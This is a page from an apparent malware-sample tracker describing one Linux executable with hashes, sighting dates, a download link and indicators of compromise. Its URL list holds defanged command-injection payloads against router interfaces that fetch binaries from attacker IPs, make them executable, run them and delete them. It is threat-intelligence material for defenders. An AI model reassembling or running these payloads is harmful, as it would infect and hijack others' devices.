Sign In|Register
Back to Malware Drops

4147719e4750ccf259f7167c38fbe370463fc6e88d1d8f3fe9d73b35dbaefbe5

MD5f6c2a25881ef26b553e16e9231203a0c
SSDEEP3072:kDd5fy5rNyO56MWt+oPsoukt97MTfd4DK5:kx5fyJgm6MWtjPYqK5
File Typeapplication/x-executable
Size125.3 KB
Sources38
Downloads0
First SeenNov 4, 2022
Last SeenNov 4, 2022
Download sample (.zip, password: infected)

Live malware — handle only in an isolated analysis environment.

Originating Attacks

Honeypot sessions that dropped this sample. Drop URLs are defanged; commands are shown verbatim and are not links.

Indicators of Compromise

Values are defanged (e.g. hxxp://, [.]) — not live links.

btc (1)

  • 3612f843a42db38f48f59d2a3597e19c

domain (3)

  • purenetworks[.]com
  • schemas[.]xmlsoap[.]org
  • www[.]w3[.]org

ipv4 (4)

  • 109[.]206[.]241[.]129
  • 127[.]0[.]0[.]1
  • 192[.]168[.]0[.]100
  • 79[.]110[.]62[.]227

url (19)

  • hxxp://109[.]206[.]241[.]129/666bins/666[.]arm7;chmod+777+666[.]arm7;[.]/666[.]arm7+zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
  • hxxp://109[.]206[.]241[.]129/666bins/666[.]arm7;chmod+777+xd[.]arm7;/tmp/xd[.]arm7+jaws
  • hxxp://109[.]206[.]241[.]129/666bins/666[.]arm7;chmod+777+xd[.]arm7;/tmp/xd[.]arm7+varcron
  • hxxp://109[.]206[.]241[.]129/666bins/666[.]arm7;sh${IFS}/tmp/xd[.]arm7&
  • hxxp://109[.]206[.]241[.]129/666bins/666[.]mips
  • hxxp://109[.]206[.]241[.]129/666bins/666[.]mips`
  • hxxp://109[.]206[.]241[.]129/666bins/666[.]mips;${IFS}sh${IFS}/var/tmp/xd[.]mips
  • hxxp://109[.]206[.]241[.]129/666bins/666[.]mips+-O+-
  • hxxp://109[.]206[.]241[.]129/666bins/666[.]mips+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting[.]htm=1
  • hxxp://109[.]206[.]241[.]129/666bins/666[.]mips;/tmp/xd[.]mips
  • hxxp://109[.]206[.]241[.]129/666binse666sh
  • hxxp://109[.]206[.]241[.]129/666[.]sh+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0
  • hxxp://79[.]110[.]62[.]227/fuckyou/xd[.]mips%20-O%20/var/tmp/xd[.]mips;%20chmod%20777%20/var/tmp/xd[.]mips;%20/var/tmp/xd[.]mips%20Netgear[.]mips;%20rm%20-rf%20/var/tmp/xd[.]mips&curpath=/&currentsetting[.]htm=1
  • hxxp://purenetworks[.]com/HNAP1/
  • hxxp://purenetworks[.]com/HNAP1/`cd
  • hxxp://schemas[.]xmlsoap[.]org/soap/encoding/
  • hxxp://schemas[.]xmlsoap[.]org/soap/envelope/
  • hxxp://www[.]w3[.]org/2001/XMLSchema
  • hxxp://www[.]w3[.]org/2001/XMLSchema-instance